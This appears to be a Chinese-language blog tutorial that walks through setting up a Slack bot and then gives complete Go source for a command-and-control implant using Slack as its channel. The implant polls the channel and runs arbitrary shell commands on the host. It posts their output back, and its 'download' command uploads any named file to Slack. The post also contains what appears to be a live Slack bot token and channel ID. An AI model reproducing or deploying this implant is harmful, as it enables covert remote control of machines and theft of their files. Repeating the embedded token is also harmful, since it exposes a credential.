Slack Golang C2

Share on:

最近在学golang,恰好看到demon分析的golang slack c2,便想着自己也来写一写。

配置slack

注册账号什么的就不说了。访问 https://api.slack.com/ 点击 Start Building image.png

创建一个app image.png

左侧OAuth & Permissions -> Scopes 配置token权限,暂时先配置两个,之后用哪个再加。

image.png

然后往上翻点Install App to Workspace

image.png

点allow,然后会自动跳转到token界面,记住这个token。

image.png

1xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S

创建一个channel image.png

记住你的channel链接https://app.slack.com/client/T01C58MD8L9/C01BS6GEUJH中的C01BS6GEUJH image.png

通过 /invite @myslackbot把bot加到频道里。

然后在https://api.slack.com/methods是操作bot的所有api,先用https://api.slack.com/methods/conversations.history/test测试下获取聊天记录

配置好token和channel ID image.png

点test之后获取到聊天记录 image.png

image.png

简单的流程知道了,接下来通过golang来操作api,以及编写我们的C2。

golang编写

  1package main
  2
  3import (
  4	"bytes"
  5	"fmt"
  6	"github.com/tidwall/gjson"
  7	"io"
  8	"io/ioutil"
  9	"log"
 10	"mime/multipart"
 11	"net/http"
 12	"os"
 13	"os/exec"
 14	"path/filepath"
 15	"strconv"
 16	"strings"
 17	"time"
 18)
 19
 20const (
 21	HistoryApi  = "https://slack.com/api/conversations.history"
 22	PostMessage = "https://slack.com/api/chat.postMessage"
 23	FileUpload  = "https://slack.com/api/files.upload"
 24	Token       = "xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S"
 25	Channel     = "C01BS6GEUJH"
 26)
 27
 28var Timer = 10
 29
 30func sleep() {
 31	fmt.Sprintf("sleep %s",Timer)
 32	time.Sleep(time.Duration(Timer) * time.Second)
 33}
 34func main() {
 35	for true {
 36		result := ApiGet(HistoryApi, "messages.0.text")
 37		if strings.HasPrefix(result.Str, "shell") {
 38			cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:])
 39			ApiPost(cmdRes, PostMessage)
 40		} else if strings.HasPrefix(result.Str, "exit") {
 41			os.Exit(0)
 42		} else if strings.HasPrefix(result.Str, "sleep") {
 43			s := strings.Split(result.Str, " ")[1]
 44			atoi, err := strconv.Atoi(s)
 45			if err != nil {
 46				ApiPost(err.Error(), PostMessage)
 47			}
 48			Timer = atoi
 49		} else if strings.HasPrefix(result.Str, "download") {
 50			filename := strings.Split(result.Str, " ")[1]
 51			ApiUpload(filename)
 52		}	else {
 53			fmt.Println("no command")
 54		}
 55		sleep()
 56	}
 57}
 58
 59func ExecCommand(command []string) (out string) {
 60	fmt.Println(command)
 61	cmd := exec.Command(command[0], command[1:]...)
 62	o, err := cmd.CombinedOutput()
 63
 64	if err != nil {
 65		out = fmt.Sprintf("shell run error: \n%s\n", err)
 66	} else {
 67		out = fmt.Sprintf("combined out:\n%s\n", string(o))
 68	}
 69	return
 70}
 71
 72func ApiGet(apiUrl string, rule string) gjson.Result {
 73	r, err := http.NewRequest("GET", apiUrl, nil)
 74	query := r.URL.Query()
 75	query.Add("token", Token)
 76	query.Add("channel", Channel)
 77	query.Add("pretty", "1")
 78	query.Add("limit", "1")
 79	r.URL.RawQuery = query.Encode()
 80	response, err := http.DefaultClient.Do(r)
 81	defer response.Body.Close()
 82	if err != nil {
 83		return gjson.Result{}
 84	}
 85	bytes, _ := ioutil.ReadAll(response.Body)
 86	//fmt.Println(string(bytes))
 87	return gjson.GetBytes(bytes, rule)
 88}
 89func ApiPost(text string, apiUrl string) {
 90	var r http.Request
 91	r.ParseForm()
 92	r.Form.Add("token", Token)
 93	r.Form.Add("channel", Channel)
 94	r.Form.Add("pretty", "1")
 95	r.Form.Add("text", text)
 96	r.Form.Add("mrkdwn", "false")
 97	body := strings.NewReader(r.Form.Encode())
 98	response, err := http.Post(apiUrl, "application/x-www-form-urlencoded", body)
 99	if err != nil {
100		return
101	}
102	bytes, _ := ioutil.ReadAll(response.Body)
103	ok := gjson.GetBytes(bytes, "ok")
104	fmt.Println(ok)
105}
106func ApiUpload(filename string) {
107	//fmt.Println(filename)
108	// 创建表单文件
109	// CreateFormFile 用来创建表单,第一个参数是字段名,第二个参数是文件名
110	buf := new(bytes.Buffer)
111	writer := multipart.NewWriter(buf)
112	writer.WriteField("token", Token)
113	writer.WriteField("pretty", "1")
114	writer.WriteField("channels", Channel)
115	//writer.WriteField("filetype", "text")
116	formFile, err := writer.CreateFormFile("file", filepath.Base(filename))
117	if err != nil {
118		log.Fatalf("Create form file failed: %s\n", err)
119	}
120
121	// 从文件读取数据,写入表单
122	srcFile, err := os.Open(filename)
123	if err != nil {
124		log.Fatalf("%Open source file failed: s\n", err)
125	}
126	defer srcFile.Close()
127	_, err = io.Copy(formFile, srcFile)
128	if err != nil {
129		log.Fatalf("Write to form file falied: %s\n", err)
130	}
131
132	// 发送表单
133	contentType := writer.FormDataContentType()
134	writer.Close() // 发送之前必须调用Close()以写入结尾行
135	_, err = http.Post(FileUpload, contentType, buf)
136	if err != nil {
137		log.Fatalf("Post failed: %s\n", err)
138	}
139	//all, err := ioutil.ReadAll(resp.Body)
140	//fmt.Println(string(all))
141}

看下效果

自己偷偷摸摸实现了很多功能,就不放了,通过slack的API可以做很多事情。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。